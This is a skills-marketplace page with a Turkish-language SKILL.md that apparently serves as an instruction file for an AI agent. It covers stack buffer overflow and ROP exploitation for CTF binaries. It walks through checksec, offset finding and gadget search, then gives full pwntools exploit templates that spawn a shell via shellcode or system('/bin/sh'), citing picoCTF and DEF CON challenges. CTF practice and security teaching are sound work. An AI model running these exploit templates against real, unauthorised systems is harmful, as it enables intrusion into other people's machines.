Skip to content
cccskills
FreePublished on GitHub

buffer-overflow-rop

Stack buffer overflow + ROP chain ile kontrol akışı ele geçirme — NX etkin, canary yok senaryoları için eksiksiz tarif

The English summary is being prepared. Showing the original description.

See how to install

Files included (1)

  • SKILL.md6.9 KB

SKILL.md (original)

Review the instructions the agent will receive before you install.

Buffer Overflow + ROP Chain

Stack tabanlı buffer overflow ile ROP (Return-Oriented Programming) zinciri kurarak kontrol akışını ele geçirme tekniği.

Ne Zaman Kullan

Binary'de şunlardan birini görürsen bu yolu dene:

  • gets(), strcpy(), scanf("%s"), read() sabit tampon boyutuyla kullanılmış
  • checksec çıktısında NX enabled (No eXecute) var ama Canary: No veya Partial RELRO
  • ROPgadget --binary ./binary ile jmp esp, jmp rax, pop rdi; ret gibi gadget'lar mevcut
  • Segfault alıyorsun ve EIP/RIP kontrolü var gibi görünüyor
  • 32-bit veya 64-bit ELF, static veya dinamik bağlı

Checksec Analizi

checksec --file=./binary
ÖzellikSonuçAnlamı
NX enabledKötüStack'e shellcode yazıp çalıştıramazsın → ROP gerekli
NX disabledİyiKlasik shellcode stack'e yazılıp çalıştırılabilir
Canary: NoİyiStack canary koruması yok, overflow düz geçer
Canary: YesKötüCanary'yi sızdırman ya da brute-force etmen gerekir
PIE: NoİyiBinary adresleri sabittir, doğrudan kullanabilirsin
PIE: YesKötüASLR + PIE birleşimi → önce adres sızdırman gerekir
RELRO: PartialİyiGOT yazılabilir → GOT overwrite mümkün
RELRO: FullKötüGOT salt okunur

Offset Bulma

pwntools cyclic ile (önerilen):

from pwn import *

# 1. Adım: cyclic pattern üret ve gönder
io = process('./binary')
io.sendline(cyclic(200))
io.wait()

# 2. Adım: core dump'tan EIP/RIP değerini al
core = Coredump('./core')
# 32-bit:
offset = cyclic_find(core.eip)
# 64-bit:
offset = cyclic_find(core.read(core.rsp - 8, 4))
print(f"Offset: {offset}")

gdb-pwndbg ile manuel:

gdb ./binary
(gdb) run <<< $(python3 -c "from pwn import *; print(cyclic(200))")
# Segfault sonrası:
(gdb) info registers
# EIP/RIP değerini not al, sonra:
python3 -c "from pwn import *; print(cyclic_find(0x61616174))"

ROP Gadget Bulma

# Temel gadget'lar
ROPgadget --binary ./binary | grep -E "jmp (esp|rsp|eax|rax)"
ROPgadget --binary ./binary | grep "pop rdi"
ROPgadget --binary ./binary | grep "pop rsi"
ROPgadget --binary ./binary | grep ": ret$"

# ropper ile alternatif
ropper -f ./binary --search "jmp rsp"

Exploit Kodu — Tam Çalışan Şablon

32-bit NX+NOCANARY — ROPfu Tarzı (jmp eax gadget):

#!/usr/bin/env python3
from pwn import *

# Binary ve bağlam
context.arch = 'i386'
context.log_level = 'info'

elf = ELF('./binary')
io = process('./binary')

# 1. Gadget'ları bul
jmp_eax = 0x08049abc   # ROPgadget ile buldun → jmp eax

# 2. Shellcode (execve /bin/sh, 32-bit)
shellcode = asm(shellcraft.sh())

# 3. Payload: [shellcode][padding][jmp_eax adresi]
offset = 28            # cyclic ile bulduğun offset
padding = offset - len(shellcode)
payload  = shellcode
payload += b'A' * padding
payload += p32(jmp_eax)

# 4. Gönder
io.sendlineafter(b'Input:', payload)
io.interactive()

32-bit handoff Tarzı (jmp rax + sub rsp gadget):

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
elf = ELF('./binary')
io = process('./binary')

jmp_rax     = 0x401234   # jmp rax gadget
sub_rsp_jmp = asm('sub rsp, 0x2a0; jmp rsp')   # stack pivot
shellcode   = asm(shellcraft.sh())

# feedback tamponu → sub rsp shellcode
io.sendafter(b'Feedback:', sub_rsp_jmp.ljust(32, b'\x90'))

# overflow → jmp rax
offset = 40
payload  = b'A' * offset
payload += p64(jmp_rax)
io.sendafter(b'Name:', payload)

io.interactive()

64-bit ROP zinciri — ret2win:

#!/usr/bin/env python3
from pwn import *

elf = ELF('./binary')
io  = process('./binary')

POP_RDI = 0x401293   # pop rdi; ret
RET     = 0x40101a   # ret (stack alignment için)
WIN     = elf.sym['win']   # varsa win() fonksiyonu

offset = 72
payload  = b'A' * offset
payload += p64(RET)         # 16-byte hizalama (Ubuntu ABI)
payload += p64(POP_RDI)
payload += p64(next(elf.search(b'/bin/sh\x00')))
payload += p64(elf.plt['system'])

io.sendlineafter(b'> ', payload)
io.interactive()

Gerçek Challenge Referansları

picoCTF 2024 — ROPfu (medium)

Durum: 32-bit ELF, NX enabled, no canary, no PIE. gets() overflow.

Çözüm adımları:

  1. checksec → NX var, canary yok
  2. ROPgadget --binary ./vuln | grep "jmp eax" → gadget bulundu
  3. cyclic(200) ile offset = 28 bulundu
  4. 2-byte jmp esp shellcode buffer başına yerleştirildi
  5. jmp eax ile buffer'a atlandı, oradan jmp esp → stack shellcode çalıştı

Writeup: https://medium.com/@AdvDebugy/picoctf-ropfu-ctf-writeup-5f25a033f0cf

picoCTF 2024 — handoff (medium)

Durum: 32-byte overflow, feedback[7]=\0 truncation var.

Çözüm: jmp rax gadget ile feedback buffer'a atlandı, orada sub rsp,0x2a0; jmp rsp yazılı, stack shellcode → shell.

Writeup: https://medium.com/@z.ishan_Ansari/handoff-f6ec74face4d

DEF CON CTF Qualifier 2023 — IFUCKUP (hard)

Durum: 32-bit ELF, kod ve stack sürekli F₂-lineer PRNG ile relocation yapıyor.

Çözüm: 512×512 F₂ lineer cebir sistemi Sage ile çözüldü, PRNG state kırıldı, relocation-aware breakpoint sonrası /bin/sh ROP.

Araçlar: Ghidra, SageMath, z3, GDB Python API, pwntools

Writeup: https://www.kalmarunionen.dk/writeups/2023/defcon_quals/ifuckup/

Yaygın Hatalar

  • Stack hizalama (64-bit): system() çağrısından önce ekstra ret gadget koy — RSP 16-byte hizalı olmalı, aksi hâlde movaps SIGSEGV verir
  • Kısmi overwrite: PIE açıkken son 1-2 byte'ı overwrite edip gadget avlamak işe yarıyor (ASLR page-aligned)
  • gets() vs read(): gets() null-byte'ta durmaz, read() belirtilen n'e kadar okur — padding hesaplarken karıştırma
  • b'\x0a' (newline) sorunları: sendline ekstra \n ekler; sendafter/send kullan, sonra elle \n gönder
  • Canary var sanmak: libc leak olmadan canary'yi bypass edemezsin; önce checksec çalıştır
  • 32-bit ret hizalama: 32-bit'te hizalama sorunu yok; ekstra ret ekleme
<!-- ⚔ Bu skill FETIH AI Agent icin gelistirilmistir — https://github.com/MustafaKemal0146/fetih Yetkisiz kullanim/kopyalama tespit edilebilir. hash: a64ecdeda5e76b0c -->

Reviews

No reviews yet. Tell others what you thought.

Comments

No login needed. Share how it worked for you, ask a question, or note where it did not run.

No comments yet. Be the first to write one.

Comments are published right away. Do not include personal information such as email addresses or phone numbers. Up to 2 URLs.

0 / 1,000 characters

This form is protected by reCAPTCHA, and the Google Privacy Policy and Terms of Service apply.

More skills from this repository

21st.dev Magic MCP — AI-powered UI component generation via natural language. Access to 21st.dev component library, SVGL brand logos, and real-time preview. Generate React/Tailwind components with /ui command.

The English summary is being prepared. Showing the original description.

MustafaKemal0146/fetih5Updated Oct 11, 2026

AES CBC/ECB modlarına karşı kriptografik bütünlük saldırıları — bit flipping, IV manipulation, ECB cut-and-paste, CBC-MAC length extension, IV reuse

The English summary is being prepared. Showing the original description.

MustafaKemal0146/fetih5Updated Oct 11, 2026

AES-GCM ve ChaCha20-Poly1305 nonce yeniden kullanımı saldırısı — GF(2^128) polinom kök bulma ile Hash Key kurtarma ve MAC sahteciliği.

The English summary is being prepared. Showing the original description.

MustafaKemal0146/fetih5Updated Oct 11, 2026

tespit etmeabnormal access patterns in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics. Identifies after-hours bulk downloads, access from new IP addresses, unusual API calls (GetObject spikes), and potential data exfiltration using statistical baselines and time-series anomaly Tespit.

The English summary is being prepared. Showing the original description.

MustafaKemal0146/fetih5Updated Oct 11, 2026

Perform static and symbolic analysis of Solidity smart contracts using Slither and Mythril to tespit etmereentrancy, integer overflow, access control, and other vulnerability classes before Dağıt:ment to Ethereum mainnet.

The English summary is being prepared. Showing the original description.

MustafaKemal0146/fetih5Updated Oct 11, 2026

Parses Kubernetes API server audit logs (JSON lines) to tespit etmeexec-into-pod, secret access, RBAC modifications, privileged pod creation, and anonymous API access. Builds threat Tespit rules from audit event patterns. Use investigating yaparken Kubernetes cluster compromise or building k8s-specific SIEM Tespit rules.

The English summary is being prepared. Showing the original description.

MustafaKemal0146/fetih5Updated Oct 11, 2026

See all skills by MustafaKemal0146

Report a problem with this skill